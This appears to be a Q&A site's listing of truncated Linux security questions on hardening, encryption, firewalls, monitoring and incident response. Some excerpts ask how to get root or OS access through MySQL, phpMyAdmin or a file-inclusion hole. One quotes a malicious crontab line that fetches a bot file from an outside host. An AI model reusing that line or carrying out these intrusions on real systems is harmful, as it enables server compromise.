Securing Linux systems and applications; understanding Linux security features.
0
votes
0answers
1k views
Open Source (Software Firewall + Unified Threat Management - UTM) for an Linux Dedicated Server Hosting [closed]
I am newbie in managing Linux Dedicated server. I am looking for Best Open source Unified Threat Management solution with Firewall Support and it should need to be managing through an web GUI ...
1
vote
2answers
132 views
Changing IP ID generation of a server
I've seen plenty about Idle Scans and incremental IP IDs on the net, but I have trouble finding a "solution" to the problem. Is there a way to "set" IP IDs for example to all zeros or is it coded into ...
2
votes
5answers
451 views
Security purpose of asking admin password to mount partition on Linux
So I divided my 250GB laptop drive into 2 partitions and some swap. On the second partition which is an ext4 60GB partition I installed Fedora 17. On the other bigger NTFS partition I've got Win XP ...
2
votes
1answer
228 views
Using mysql root account to execute root commands
Suppose that I have full root access to mysql databases, but not root user shell (linux). How can I use the full root access to mysql databases to execute root commands?
1
vote
1answer
397 views
NGINX / HTTP TRACE
I have a http server Nginx with HTTP TRACE Enabled.
A single nmap --script=http-methods.nse host.name give this result :
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
[...]
...
0
votes
2answers
444 views
How to defeat ASLR in linux kernel? [duplicate]
Possible Duplicate:
Stack Overflows - Defeating Canaries, ASLR, DEP, NX
is there anyway to disable ASLR in Linux kernel 2.6.32-71.el6.x86_64, with Apache privileges??
I tried this commands:
...
6
votes
5answers
430 views
Securing Debian Apache PHP Server
I have Debian Apache PHP server. I want to secure him after the classic installation process.
My usual steps are :
List item
update all packages
remove all unnecessary services like named, portmap, ...
6
votes
2answers
280 views
Is privilege escalation possible when shell is under www user?
So, suppose that someone obtained a shell of a remote machine (of course via Internet). But the (linux) shell is under www user. Would there be any way of trying privilege escalation?
2
votes
2answers
693 views
How to hack linux via Local File Inclusion vulnerability?
During my penetration testing, I found a local file inclusion vulnerability. In fact this vulnerability existed in mailwatch <= 1.0.4, and its exploit existed in Exploit-DB.
I tried to exploit the ...
3
votes
1answer
195 views
How to forward an specific FTP User to a Honeypot?
What I'm trying to do is to forward a specific FTP-User to a Honeypot, because the main server is for Shared Hosting and there's a lot of traffic, and I don't want to spend all the resources in ...
0
votes
2answers
192 views
How to verify correct, secure and test setuid?
I've been looking into setuid vulnerabilities. Particularly, I am looking on OS X (10.5+) but other modern *nix distos apply as well. For example, I found a world writable suid file installed by a ...
4
votes
1answer
273 views
Server monitoring for security
We do a lot of web hosting management and have started to get into selling server management packages. However, we want to start monitoring servers for security related threats.
Our clients may use ...
2
votes
3answers
375 views
Truecrypt Plausible Deniability - Linux
As I understand it plausible deniability gives the user the option of having two passwords, one you provide the authorities/extortionist with and another that you might use for your self and files you ...
3
votes
1answer
123 views
Amavisd-New and Google safe browsing
I am studying the Google Safe Browsing.
How do I know that it is possible to intercept a content of an email via amavis, I wonder if I can, for each url found, consult the Google safe browsing?
Do ...
2
votes
2answers
180 views
Can the `system` function pose severe security threats on a shared hosting server?
I recently bought an account from a shared hosting company and I needed the php system function to be enabled for one of my projects.
So I created a ticket and asked them to enable it. This is what ...
8
votes
4answers
312 views
Does UNIX have a dual approval mechanism?
Sudo and logging is used to keep administrators accountable. But is there a command/configuration that lets you enforce a dual approval type control such as the the "Two Person Concept"? (eg. Two ...
1
vote
1answer
603 views
Any reasons to why not use randomize_va_space?
I've been looking a bit into kernel options for hardening, and there is one that seems to be a good idea to deploy - randomize_va_space. But before I activate that feature I started a google search, ...
3
votes
3answers
218 views
Why should every file have a user and a group?
I've been reading in most hardening guides for linux, that you should check for files and directories without valid user or valid group. What I can't find, is how this could be used for an attack, or ...
-1
votes
1answer
1k views
How to hack linux from phpMyAdmin? [closed]
I got the username and the password for phpMyAdmin, and i am trying to hack the operating system "linux". i tried to create an payload.php file which is a pyaload taken form metasploit.
i encoded the ...
2
votes
2answers
864 views
Issues with preserving $HOME on sudo
On Ubuntu, the default behavior with sudo is to preserve the user's $HOME environment variable, which means that sudo will be able to read the dot files in the user's home directory. I enjoy this ...
3
votes
2answers
175 views
Do LAMP log files sometimes contain sensitive information?
I will have a LAMP web server with CentOS and cPanel. With this setup, is it possible for any server log files, whether regular or error logs, to contain sensitive information in them, such as ...
4
votes
2answers
244 views
Detect changes in /boot when using full disk encryption
When running a fully encrypted linux system using dm-crypt, the /boot partition has to be unencrypted to boot, as far as I know. I've setup a server that can be unlocked remotely by connecting to a ...
0
votes
1answer
80 views
linux accept connection based on request [closed]
I don't know if this is even possible...
I have a single static IP and 3 servers connected to the router. 1 server is Ubuntu Linux with an SSH server. 6 or 8 domain names are linked to my 1 static IP. ...
1
vote
2answers
110 views
What was done to gain a list of home directory accounts?
Today some sites were defaced in our WHM/cpanel VPS.
I understand that the common cause of this is outdated scripts/plugins/etc.
However as I was checking the file manager of one of the accounts I saw ...
2
votes
2answers
2k views
IPTables DDoS protection working with per client IP address counter AND UDP
I am looking to protect LAMP server with a software, which will detect above average number of requests from single IP numbers (in this case DNS queries), and add these hosts to IPTables deny chain.
...
11
votes
3answers
326 views
Is passing sensitive data through the process environment secure?
Recently I have been looking for the possibility to pass sensitive information from one process to another (at process startup time) without passing it through the command line or without using a ...
1
vote
2answers
354 views
How is iptables useful to prevent attacks against a LAN?
I need some advice securing a LAN using iptables.
I've found lots of examples on how to secure single host with iptables, including scanning ports, attacking using ICMP-flood and TCP-flood. These ...
1
vote
2answers
553 views
If Xampp is not secure enough for a production environment what should I use?
I am not even sure if this is the right place to ask this but here goes:
I am thinking of running my own small website from a home server. I have been using Ubuntu 12.04 with xampp as my server ...
1
vote
2answers
340 views
What are the most common files to check with File integrity monitoring software?
I have a file integrity monitoring suite and in it I have to select specific files and folders for it to monitor. There are some obvious services that I want monitored like our web-server.
Is there a ...
5
votes
4answers
343 views
Would running VMs inside of VMs be a more secure way to study viruses, etc?
I was reading this post on SuperUser, and it made me wonder about security. I've read somewhere else that some viruses/malware/whatever CAN break outside of a VM... and then infect the host OS. BUT, ...
3
votes
2answers
573 views
Is SecureShellz bot a virus? How does it work?
I'm using a development server in which I found this in the crontab:
[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O ...
6
votes
3answers
1k views
nmap showing unknown IPs on private network
I had a go at scanning my home network with nmap, doing a 192.168.0.0/16 netscan. To my surprise, the results shown multiple live devices not only on 192.168.1.x (where all our known devices are) but ...
2
votes
1answer
188 views
Windows 8 in a VDI environment and the use of Secure Boot
I have a question, How would secure boot be implemented in a virtulized environment, say XEN hypervisor with multiple guest OS's including Windows 8 guest VM? does the guest VM need access to the ...
2
votes
3answers
824 views
Open Source Vulnerability Scanner
I'm looking for an open source vulnerability scanner that I could install on one of my machines and point to all my others. Ideally, I'd be able to configure a nightly scan where all of my other nodes ...
5
votes
8answers
2k views
Linux or Windows- the security issue [duplicate]
Possible Duplicate:
Open Source vs Closed Source Systems
Almost anyone who has grown up on Windows must have had the notion (that I had) of Linux being more secure than Windows- one of ...
2
votes
2answers
416 views
Skype security (linux)?
From the following article skype & from archlinux skype wiki some major skype insecurity in linux are:
The skype binary is disguised against decompiling, so nobody is (still) able to reproduce ...
2
votes
2answers
172 views
How to properly secure OO PHP CMS?
I have OO PHP application which serves pages as well it does payment card processing via external RBS payment gateway. There is also reporting database. The problem is when somebody exploits this PHP, ...
3
votes
4answers
881 views
Determining the point of compromise on an infected web server?
Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
1
vote
1answer
177 views
Is using decrypt_derived more secure than a keyfile?
Say I have two partitions on a Linux system, a root partition (/) and a /home partition. Both of them are encrypted with LUKS.
The /home partition needs only to be decrypted if / is unlocked and ...
1
vote
1answer
72 views
How many connections can TCP_WRAPPERS handle?
As we know that TCP_WRAPPERS is a good way of security on linux/unix system, to disallow or allow remote user to connect to the specific services. Assume that if there have a large number of ...
2
votes
3answers
488 views
Disable Perl for some/most Linux users?
One of my server's web accounts got hacked a couple of times. Each time someone downloaded a Perl script via some phpBB forum and used the Perl script to do whatever they wanted to do (mostly connect ...
1
vote
1answer
165 views
Installing applications with different user accounts on linux
I have basic question about installing applications on Linux operating system, using the Oracle database as an example. When installing the Oracle database package, I created a user called ora112, a ...
-1
votes
1answer
371 views
Linux tools to choose suitable Cisco ASA 5500
I have a linux webhosting server which affects a high DDOS.
I want to use Cisco ASA 5500 Series Adaptive Security Appliances to protect the linux server from this DDOS. I know there are many factors ...
10
votes
5answers
623 views
Can a .sh file be malware?
Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes can someone read this script and tell me if it safe and is it effect any how on gpg security. It gives me an ...
5
votes
2answers
689 views
Using TPM with DMcrypt?
Is it possible to use TPM for storage of some private key? It's not a full-disk encryption , I want it to be compatible with existing LUKS, just add another key, and store it in the TPM.
4
votes
1answer
198 views
Can auditd track events that occured over NFS
I have multiple servers mounting a NFS shared called /opt/WHATEVER from Server X.
Server X has auditd enables with rule:
sudo /sbin/auditctl -w /opt/WHATEVER -p rwxa
When events occur on Server X ...
-3
votes
2answers
112 views
how to protect a personal computer? [closed]
I am Linux user with no knowledge on security , up to now i dont know that is my system was in attack or not . I havent felt anything wrong with my system . but every Computer user must have some ...
1
vote
1answer
2k views
How to use http-get-form in THC-Hydra?
I've been messing with Hydra (Brute Force) to solve the "Damn Vulnerable Web App"
brute force section but the problem is when I use http-get-form it said:
Warning: child 1 seems to have died, ...
4
votes
1answer
71 views
Testing a chroot environment for privilege escalation vulnerabilities
I'm looking for holes in my current implementation of a chroot jail that I have implemented for a group of users. Is there anything I can do better here?
I utilized the following packages:
RHEL6
...
3
votes
2answers
152 views
How likely is an infection with an outdated skype on linux? [closed]
Today I found an article about a skype hotfix and noticed that the repo I use on my linux notebook:
deb http://download.skype.com/linux/repos/debian/ stable non-free
Doesn't have the new version, ...
